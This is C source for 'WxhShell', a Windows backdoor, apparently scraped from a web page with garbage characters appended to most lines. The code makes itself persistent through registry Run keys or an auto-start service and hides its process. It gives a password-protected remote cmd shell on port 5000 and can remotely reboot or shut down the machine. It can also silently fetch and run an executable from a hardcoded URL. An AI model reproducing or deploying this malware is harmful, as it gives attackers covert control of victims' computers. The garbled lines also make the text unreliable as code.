    break; B$_-1^L e  
    } @ [%K D  
  // 关机 !iU$-/,1e  
  case 'd': { x+,:k=JMT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8T3Nz8Q7  
    if(Boot(SHUTDOWN)) c2fw;)j&X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MCl-er"]D  
    else { O<y65#68Z  
    closesocket(wsh); P}"uC`036  
    ExitThread(0); ) RNB;K~s9  
    } _tpOVw4I  
    break; t/h,-x  
    } ?7A>|p?"  
  // 获取shell DJ|lel/'  
  case 's': { b8|<O:]Hp  
    CmdShell(wsh); }N"YlGY\Yn  
    closesocket(wsh); -{NP3zy  
    ExitThread(0); kQO-V4z!  
    break; $ U-#woXa  
  } *Nur>11D  
  // 退出 "&@{f:+  
  case 'x': { u]& +TR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lg*?w/JX+  
    CloseIt(wsh); ]E#W[6'VtB  
    break; iKG,"  
    } z[0tM&pv  
  // 离开 )oy+-1dE  
  case 'q': { C0CJ;   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f(T`(pX0V  
    closesocket(wsh); L+8O 4K{  
    WSACleanup(); z&CBjlh  
    exit(1); ^ LVKXr  
    break; v[O?7Np  
        } 'u6n,yRm  
  } 2IXtIE  
  } $f+cd8j?o  
] U,m 1  
  // 提示信息 5aNvGI1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C]Q}HI#G  
} <TgVU.*  
  } Ru4M7 %  
/q) H0b  
  return; sW76RKX8  
} FIx|4[&>S  
ZtY?X- 4_  
// shell模块句柄 nK#%Od{GF  
int CmdShell(SOCKET sock) ijKQ`}JA  
{ o $'K}U  
STARTUPINFO si; M"6J"s  
ZeroMemory(&si,sizeof(si)); _}.WRFIJ@L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p$cb&NNh*H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H'Jz:6   
PROCESS_INFORMATION ProcessInfo; c-U]3`;Q  
char cmdline[]="cmd"; (S2E'L L{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ??lsv(v-  
  return 0; >X*Y jv:r  
} TSVlZy~Xo  
uZ'(fnZ$  
// 自身启动模式 J[c`Qq:&e  
int StartFromService(void) tl`x/   
{ Vq'n$k}  
typedef struct ]}n|5  
{ ^ 4*#QtO  
  DWORD ExitStatus; t*`Sme]"B  
  DWORD PebBaseAddress; G!o6Y:1!  
  DWORD AffinityMask; KY?ujeF  
  DWORD BasePriority; v Ov"^X  
  ULONG UniqueProcessId; POf xN.  
  ULONG InheritedFromUniqueProcessId; /T+%q#4  
}   PROCESS_BASIC_INFORMATION; '*^9'=  
$F NH:r<  
PROCNTQSIP NtQueryInformationProcess; 1 hD(l6tG@  
_-2n tO<E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9FPqd8(]*V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y*IKPnPot2  
(-`PO]e48  
  HANDLE             hProcess; 1DGl[k/zv  
  PROCESS_BASIC_INFORMATION pbi; [Y j: H  
I'[;E.KU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oTrit_@3  
  if(NULL == hInst ) return 0; 8dC RSU  
, K:d/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q$sC%P(y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KtArV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l dp$jrNLr  
q$"?P  
  if (!NtQueryInformationProcess) return 0; ^E.mG>  
*Uy;P>8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GMB3`&qh  
  if(!hProcess) return 0; c6AwO?x/  
`g4N]<@z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; piqh7u3~  
vP=H 2P  
  CloseHandle(hProcess); 'K01"`#  
.gt;:8fw{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b"nkF\P@Fj  
if(hProcess==NULL) return 0; I!SIy&=W  
OR37  
HMODULE hMod; Ql9>i;AGV  
char procName[255]; {Ppb ;  
unsigned long cbNeeded; u:tcL-;U  
kDxI7$]E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %oquHkX%OJ  
Br.UN~q  
  CloseHandle(hProcess); /Ak\Q5O'3  
.}T-R?  
if(strstr(procName,"services")) return 1; // 以服务启动 ZkO2*;  
lY2~{Y|4s  
  return 0; // 注册表启动 } E[vW  
}  R&g&BF  
IO ]tO[P#  
// 主模块 f.bwA x  
int StartWxhshell(LPSTR lpCmdLine) (44L8)I.D  
{ =#[t!-@  
  SOCKET wsl; -$_FKny  
BOOL val=TRUE; atw*t1)g  
  int port=0; &9z&#`AY]>  
  struct sockaddr_in door; 94|ZY}8|f  
%d40us8E  
  if(wscfg.ws_autoins) Install(); 3<N2ehi?  
.o,-a>jL  
port=atoi(lpCmdLine); og~a*my3  
_HjB'XNr(  
if(port<=0) port=wscfg.ws_port; I+SfZ:q ^  
MPn/"Fij$  
  WSADATA data; H8B2{]HAt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &4 #%xg  
+nim47  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g0;;+z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cIC/3g}]  
  door.sin_family = AF_INET; j]` hy"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s{{8!Q  
  door.sin_port = htons(port); jTZi< Y:bB  
@<X[,Mj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dm40qj  
closesocket(wsl); A$n.'*gK  
return 1; "gzn%k[D9m  
} )8'v@8;-  
1zw,;m n  
  if(listen(wsl,2) == INVALID_SOCKET) { m7Ry FnR2  
closesocket(wsl); Ktvs*.?  
return 1; ;]=@;? 9  
} vb]uO ' l  
  Wxhshell(wsl); L<XX?I\p  
  WSACleanup(); i,% N#  
wZbT*rU  
return 0; l0qHoM,1Y[  
+ZGH  
} 6#Y]^%?uy  
1vCp<D9<  
// 以NT服务方式启动 5|t-CY{?b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m^0 I3;  
{ T+rym8.p  
DWORD   status = 0; TiZ MY:^  
  DWORD   specificError = 0xfffffff; 2 n2,MB  
_ouZd.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; odJE~\\hw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9&<c)sS&B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !vc 5NKv#n  
  serviceStatus.dwWin32ExitCode     = 0; Z0D&ayzkh^  
  serviceStatus.dwServiceSpecificExitCode = 0; NwQ$gDgu t  
  serviceStatus.dwCheckPoint       = 0; '%:E4oI  
  serviceStatus.dwWaitHint       = 0; I$)9T^Ra  
u:J4Az^!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;- Vs|X  
  if (hServiceStatusHandle==0) return; #)#'^MZX  
/X#OX 8gb]  
status = GetLastError(); .>PwbZ  
  if (status!=NO_ERROR) 6& hiW]Adm  
{ Z/v )^VR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zJ ;]z0O  
    serviceStatus.dwCheckPoint       = 0; d4Y[}Fcp+  
    serviceStatus.dwWaitHint       = 0; 3O2vY1Y2  
    serviceStatus.dwWin32ExitCode     = status; 2(e;pM2Dq  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^{++h?cS)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #-R]HLW*  
    return; 6(1 &6|o3  
  } KpS=oFX{}  
 60f%J1u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =FFs8&PKys  
  serviceStatus.dwCheckPoint       = 0; ?o/p}6  
  serviceStatus.dwWaitHint       = 0; SL^%Zh/~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); to #2.  
} cmaha%3d  
fg1uqS1rg  
// 处理NT服务事件,比如:启动、停止 p{SIGpbR&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X\<a|/{V A  
{ {c&9}u$e  
switch(fdwControl) m5KLi &R  
{ Kj6+$l   
case SERVICE_CONTROL_STOP: 6jl{^dI  
  serviceStatus.dwWin32ExitCode = 0; v yP_qG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pBQ[lPCY/  
  serviceStatus.dwCheckPoint   = 0;  e+@.n  
  serviceStatus.dwWaitHint     = 0; :b#5 cMUe  
  { '64/2x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _qQo}|/q  
  } eMH\]A~v"  
  return; otP2qAI  
case SERVICE_CONTROL_PAUSE: W}wd?WIps  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -**fT?n  
  break; 2Paw*"U  
case SERVICE_CONTROL_CONTINUE: xz,M>Ua  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FOcDBCrOe  
  break; I+Fr#1  
case SERVICE_CONTROL_INTERROGATE: ,l\D@<F  
  break; V<REcII.  
}; b1ZHfe:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q?9eu%G6I  
} `R$bx 64  
$>%zNq-F  
// 标准应用程序主函数 $5>x)jr:w+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U(:t$SBKy  
{ %5(v'/dQ  
-ktYS(8&  
// 获取操作系统版本 `"bp -/  
OsIsNt=GetOsVer(); ;[Hrpl S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .fY$$aD$4  
q{)Q ?E  
  // 从命令行安装 )/tdiRpn  
  if(strpbrk(lpCmdLine,"iI")) Install(); <^8OYnp  
)v.\4Q4  
  // 下载执行文件 +Nka,C^O"  
if(wscfg.ws_downexe) { h3A|nd>\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sZU Ao&  
  WinExec(wscfg.ws_filenam,SW_HIDE); zPb "6%1B  
} v8A{ q  
%M05& <  
if(!OsIsNt) { 83"C~xe?p4  
// 如果时win9x,隐藏进程并且设置为注册表启动 7jF2m'(  
HideProc(); <NMOs"NB  
StartWxhshell(lpCmdLine); 5wMEp" YHE  
} GJuU?h#:/{  
else TUVqQ\oF:  
  if(StartFromService()) DZ|/#- k  
  // 以服务方式启动 E}=F   
  StartServiceCtrlDispatcher(DispatchTable); ;4]l P  
else z[_Gg8e  
  // 普通方式启动 V{kgDpB  
  StartWxhshell(lpCmdLine); `#N7ym;s@  
7PI|~Ifi  
return 0; q]t^6m&-  
} 2c<phmiK  
Yy0m &3[  
Z7R+'OC  
H=9\B}  
=========================================== GpM_ Qp  
T k4"qGC.  
=").W\,  
ZpY"P6  
%5H>tG`]   
uc;QSVWGy8  
" gG=E2+=uy  
]7{-HuQ8>}  
#include <stdio.h> /-ky'S9  
#include <string.h> _u`W$EG L  
#include <windows.h> m,]M_y\u  
#include <winsock2.h> yf6&'Y{  
#include <winsvc.h> }' t*BaU  
#include <urlmon.h>  ?2b9N~  
lq!l{[Xp  
#pragma comment (lib, "Ws2_32.lib") %@FTg$  
#pragma comment (lib, "urlmon.lib") ^UK6q2[  
oMi"X"C:q  
#define MAX_USER   100 // 最大客户端连接数 XX(;,[(_  
#define BUF_SOCK   200 // sock buffer 0qV!-i  
#define KEY_BUFF   255 // 输入 buffer AHR%3W  
SSF4P&  
#define REBOOT     0   // 重启 6y9#am?  
#define SHUTDOWN   1   // 关机 z7J2O  
vQ}llA h  
#define DEF_PORT   5000 // 监听端口 jM3{A;U2  
f"5vpU^5*  
#define REG_LEN     16   // 注册表键长度 pJ5Sxgv{;  
#define SVC_LEN     80   // NT服务名长度 wy$9QN  
,tL<?6_  
// 从dll定义API r#pC0Yj!3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xu:S h<:R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !}^ {W)h[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dg1h<]T"9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); puz~Rfn#*  
Vj"B#  
// wxhshell配置信息 PQ|kE`'  
struct WSCFG { K/jC>4/c/  
  int ws_port;         // 监听端口 D[)g-_3f6<  
  char ws_passstr[REG_LEN]; // 口令 7PZ0  
  int ws_autoins;       // 安装标记, 1=yes 0=no _S#uxgL<  
  char ws_regname[REG_LEN]; // 注册表键名 q8.K-"f(Q  
  char ws_svcname[REG_LEN]; // 服务名 /nRi19a%xU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,r{\aW@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Nd*zSsVlq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F%x8y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P-VK=Y1q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cv|ya$}a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,\f!e#d  
Y zSUJ=0/  
}; { CkxUec  
hX]vZR&R  
// default Wxhshell configuration ,&!Txyye  
struct WSCFG wscfg={DEF_PORT, jyf[O -  
    "xuhuanlingzhe", ]v3 9ag_hu  
    1, O s@ d&wm  
    "Wxhshell", 5~CHj  
    "Wxhshell", 41WnKz9c  
            "WxhShell Service", )G0a72  
    "Wrsky Windows CmdShell Service", d:6?miMH]t  
    "Please Input Your Password: ", |?SK.1pW  
  1, E[>4b7{g:  
  "http://www.wrsky.com/wxhshell.exe", e/E fWwqt  
  "Wxhshell.exe" G_g~-[O  
    }; 3ADT Yt".  
"EQ-`b=I4  
// 消息定义模块 *?K3jy{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^Pf FW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2;NIUMAMM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z1?7}9~`0c  
char *msg_ws_ext="\n\rExit."; 6yKr5tH4  
char *msg_ws_end="\n\rQuit."; H~1*`m  
char *msg_ws_boot="\n\rReboot..."; h&||Ql1  
char *msg_ws_poff="\n\rShutdown..."; ;GO>#yg4Eh  
char *msg_ws_down="\n\rSave to "; Q d]5e  
!q! =VC  
char *msg_ws_err="\n\rErr!"; vDz)q  
char *msg_ws_ok="\n\rOK!"; ](4V 3w.  
V4}9f5FR  
char ExeFile[MAX_PATH]; LZV  
int nUser = 0; I3D8xl>P\  
HANDLE handles[MAX_USER]; l. ?R7f  
int OsIsNt; l=[<gPE  
&C<B=T"I  
SERVICE_STATUS       serviceStatus; 0ejx; Mum  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CE:TQzg  
oorit  
// 函数声明 >Qz#;HI  
int Install(void); .R;HH_  
int Uninstall(void); |j$&W;yC  
int DownloadFile(char *sURL, SOCKET wsh); /pZLt)=P  
int Boot(int flag); bWo-( qxq  
void HideProc(void); V6?ku6k  
int GetOsVer(void); z@^[.  
int Wxhshell(SOCKET wsl); IL?3>$,  
void TalkWithClient(void *cs); 2f16 /0J@  
int CmdShell(SOCKET sock); 33DP0OBL^  
int StartFromService(void); ~mx me6"v  
int StartWxhshell(LPSTR lpCmdLine); k5]s~* ,0  
p#) u2^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); snO d 3Bw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^[Cpu_]D  
G2U=*|  
// 数据结构和表定义 ',?v7&  
SERVICE_TABLE_ENTRY DispatchTable[] = ?2_Oa%M  
{ *g]q~\b/;  
{wscfg.ws_svcname, NTServiceMain}, :XEP:8  
{NULL, NULL} uuHR!  
}; X"YH49?  
Lnbbv  *  
// 自我安装 \%z#|oV#<  
int Install(void) %+YLe-\?  
{ '{p/F $  
  char svExeFile[MAX_PATH]; R<@s]xX_  
  HKEY key; xGCW-YR9  
  strcpy(svExeFile,ExeFile); ;3OQgKI  
)4>M<BO  
// 如果是win9x系统,修改注册表设为自启动 (wU<Kpt?J  
if(!OsIsNt) { I?LJXo\O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nl,M9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); trcG^uV  
  RegCloseKey(key); T_|%n F-+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MWl?pG!Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2W:R{dHE  
  RegCloseKey(key); C']TO/2q  
  return 0; Y m=ihQ|  
    } nfET;:{  
  } [Hw  
} je@F:5  
else { N7:=%Fy(  
b<>GF-`w  
// 如果是NT以上系统,安装为系统服务 6MQ+![fN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QPB@qx#@  
if (schSCManager!=0) pQAG%i^mF  
{ ~sT/t1Rp  
  SC_HANDLE schService = CreateService B,@geJ  
  ( b9Jah  
  schSCManager, k=1([x  
  wscfg.ws_svcname, $51M' Qu  
  wscfg.ws_svcdisp, I[,tf!  
  SERVICE_ALL_ACCESS, s\i:;`l:=5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S`g:z b_  
  SERVICE_AUTO_START, b5K6F:D22  
  SERVICE_ERROR_NORMAL, FeOo;|a  
  svExeFile, HYm |  
  NULL, X^;[X~g  
  NULL, e59P6/z  
  NULL, 1{D_30sG.  
  NULL, f d~a\5%e  
  NULL pa4,W!t  
  ); /Iht,@%E  
  if (schService!=0) -}avH  
  { XJJdCv^  
  CloseServiceHandle(schService); z\64Qpfm  
  CloseServiceHandle(schSCManager); Tj5G /H>   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :'1UX <&B  
  strcat(svExeFile,wscfg.ws_svcname); 8 Z|c!QIU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qZw4"&,j$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #m>Rt~(,S  
  RegCloseKey(key); Pf,S`U w;  
  return 0; /8m2oL\<  
    } +LBDn"5  
  } 0zH^yx:ma  
  CloseServiceHandle(schSCManager); ) D_ZZPq_  
} fzcPi9+  
} kg@D?VqJP  
P(iZGOKUs=  
return 1; R}~p1=D  
} K&1o!<|  
/P_1vQq  
// 自我卸载 QG{).|pm  
int Uninstall(void) Jt-s6-2  
{ 'p0|wM_  
  HKEY key; %Xm3m0nsv{  
4a'O#;h o  
if(!OsIsNt) { !r=^aa(\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9{OH%bF  
  RegDeleteValue(key,wscfg.ws_regname); bpe8 `b(#  
  RegCloseKey(key); >Hh8K<@NL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Vj'QqZ  
  RegDeleteValue(key,wscfg.ws_regname); O_ }ZSB8"  
  RegCloseKey(key); Y-8qAF?SJ]  
  return 0; NF?FEUoxz  
  } k:?+75?$  
} `b(y 5Z  
} M~&|-Hm  
else { sy^k:y?  
re.%$D@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G5^gwG+  
if (schSCManager!=0) m~K[+P  
{ j s(E-d/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P1P P#>E-2  
  if (schService!=0) pB @l+ n^  
  { !*46@sb:  
  if(DeleteService(schService)!=0) { 9JF*xXd>Q  
  CloseServiceHandle(schService); E)(`Z0  
  CloseServiceHandle(schSCManager); Dl862$_Q  
  return 0; #=WDJ T:  
  } 0m5Q;|mH  
  CloseServiceHandle(schService); niO(>  
  } /)8 0@  
  CloseServiceHandle(schSCManager); qA- ya6  
} rT`D@ I  
} o z } p]l7  
 FNZB M  
return 1; ~A8%[.({5  
} 4'BzW Z;_a  
'-#6;_ i<  
// 从指定url下载文件 ;F&wGe  
int DownloadFile(char *sURL, SOCKET wsh) c ;3bX6RD*  
{ D#%J||  
  HRESULT hr; RJs_ S  
char seps[]= "/"; #( nheL  
char *token; =J8)Z'Jr  
char *file; 1A23G$D  
char myURL[MAX_PATH]; @C=, >+D  
char myFILE[MAX_PATH]; f{e*R#+&  
ErC~,5dj;n  
strcpy(myURL,sURL); < /y V  
  token=strtok(myURL,seps); 'Rfvr7G/?  
  while(token!=NULL) 8Gb=aF1  
  { Ja-D}|;  
    file=token; e,E;\x &  
  token=strtok(NULL,seps); tYfhKJzGC  
  } /3%]Ggwe  
~QdwoeaD  
GetCurrentDirectory(MAX_PATH,myFILE); '$)Wp_  
strcat(myFILE, "\\"); =nnS X-x  
strcat(myFILE, file); 4\(;}M-R{  
  send(wsh,myFILE,strlen(myFILE),0); kyJv,!};  
send(wsh,"...",3,0); )ymF: ]QC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s)=L6t^a6  
  if(hr==S_OK) &3{:h  
return 0; !U`T;\,v5  
else 5*buRYck0  
return 1; *Oz5I  
v85&s  
} !w f N~.Y  
62EJ# q[  
// 系统电源模块 7k6rhf7H  
int Boot(int flag) %8o(x 0  
{ n2#uH  
  HANDLE hToken; @=wAk5[IN  
  TOKEN_PRIVILEGES tkp; *ep!gT*4  
\g4\a?i  
  if(OsIsNt) { (kp}mSw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^Hq}9OyS9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QHs=Zh;"  
    tkp.PrivilegeCount = 1; >^J!Z~;L)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (f#W:]o/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;8 McG83  
if(flag==REBOOT) { A94VSUDA:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SgXXitg9+  
  return 0; ObM5vrEk|  
} `MTOe 1  
else { 5RLK]=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _ux 6SIyp`  
  return 0; i0AC.]4e"  
} G|O"Kv6  
  } .j&jf^a5  
  else { WZ&#O#(eO`  
if(flag==REBOOT) { 3al5Vu2:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6  09=o+  
  return 0; ?tA- `\E  
} &tRnI$D  
else { +H<%)Lk J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %!.rP  
  return 0; JAiV7v4&R  
} p>}N9v;Bo  
} JR<R8+@g_  
0N T3  
return 1; 4x C0Aw  
} ^cAJCbp7  
~r>UjC_ B:  
// win9x进程隐藏模块 mmjB1 L  
void HideProc(void) 9MYt4  
{ LB{a&I LG  
`GDYL7pM(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qJ!oH&/cD  
  if ( hKernel != NULL ) &YMVoyVD  
  { =:0(&NCRq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VmT5? i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ih;TQ!c+b  
    FreeLibrary(hKernel); Fh/C{cX9g  
  } R;.WOies4  
=& lYv  
return; k m|wB4  
} 'Qfy+_0  
P<(mH=K  
// 获取操作系统版本 7> ]C2!  
int GetOsVer(void) >5gzo6j/  
{ jXDo!a| 4y  
  OSVERSIONINFO winfo; nagto^5X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pxC5a i  
  GetVersionEx(&winfo); 5(|ud)v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DtN6.9H2`  
  return 1; .R"L$V$RU.  
  else hWu)0t  
  return 0; 1lQ1 0J  
} ]a%Kn]HI&2  
24Tw1'mW  
// 客户端句柄模块 +]zP $5_e  
int Wxhshell(SOCKET wsl) +~v(*s C  
{ gc:>HX );)  
  SOCKET wsh; hzH5K  
  struct sockaddr_in client; NEH$&%OV?  
  DWORD myID; OE"Bb   
cA\W|A)  
  while(nUser<MAX_USER) K!~ ](_W!  
{ TDGzXJf[  
  int nSize=sizeof(client); R}Y=!qjYE=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0A9cu,ZdUR  
  if(wsh==INVALID_SOCKET) return 1; {cI<4><  
el%Qxak`"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t*#&y:RG  
if(handles[nUser]==0) T}TP.!0E  
  closesocket(wsh); e- CW4x  
else qsRh ihPX  
  nUser++; Uf<vw3  
  } [ub\DLl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OXB-.<  
A&'%ou  
  return 0; _JDr?Kg  
} "U.=A7r  
t_dg$KB  
// 关闭 socket : \OvVS/  
void CloseIt(SOCKET wsh) WGx>{'LJ  
{ H%N+V r3O,  
closesocket(wsh); OEW,[d  
nUser--; >>D i  
ExitThread(0); e8 aV qq[  
} h_L '_*  
QEKFuY<E+  
// 客户端请求句柄 HWBom8u0  
void TalkWithClient(void *cs) . 6dT5x8u  
{ Sq,ty{j2%  
m5X=P5U  
  SOCKET wsh=(SOCKET)cs; 3(&F.&C$$  
  char pwd[SVC_LEN]; 88j ;7  
  char cmd[KEY_BUFF]; Z B&Uhi  
char chr[1]; 9(WC#-,  
int i,j; w#,v n8  
u_8 22Z  
  while (nUser < MAX_USER) { [i1D~rCcn  
7F:;3c  
if(wscfg.ws_passstr) { Y{|yB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1I_q3{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8]\h^k4f  
  //ZeroMemory(pwd,KEY_BUFF); qXGLv4c`Q  
      i=0; ueBoSZRWX  
  while(i<SVC_LEN) { nV*sdSt  
|qDfFGYf  
  // 设置超时 9z/_`Xd_  
  fd_set FdRead; 7=A9E]:  
  struct timeval TimeOut; ]?$y}  
  FD_ZERO(&FdRead); NV4W2thYo  
  FD_SET(wsh,&FdRead); [F[<2{FQF  
  TimeOut.tv_sec=8; O>5u5n  
  TimeOut.tv_usec=0; vXQmEIm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X]"OW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0]W]#X4A  
g*r;( H>e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =e-aZ0P  
  pwd=chr[0]; 'OW"*b  
  if(chr[0]==0xd || chr[0]==0xa) { HCkqh4  
  pwd=0; U2lC !j%K  
  break; c.A/{a  
  } YPDsE&,J)  
  i++; jI<WzvhYG  
    } aq/Y}s?  
Ny7=-]N4{"  
  // 如果是非法用户,关闭 socket Y6? mY!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  ^-*Tn  
} Mqf}Aiqk;  
OrJlHMz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -U;LiO;N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )K%O/H  
P^m 6di  
while(1) { Bp{`%86S E  
maEpT43f  
  ZeroMemory(cmd,KEY_BUFF); y{I[}$k  
f%[ukMj&  
      // 自动支持客户端 telnet标准   $SGA60q  
  j=0; gIM'bA<~  
  while(j<KEY_BUFF) { 7RC096 ?}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }cK~=@7tK  
  cmd[j]=chr[0]; o``>sBZOq  
  if(chr[0]==0xa || chr[0]==0xd) { nC.2./OwMf  
  cmd[j]=0; +ls*//R  
  break; !"x7re  
  } v;}`?@G  
  j++; {$1$]p~3 o  
    } )Z]y.W)  
po2[uJ  
  // 下载文件 HGQ?(2]8$  
  if(strstr(cmd,"http://")) { <CKmMZ{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !a&SB*%^I3  
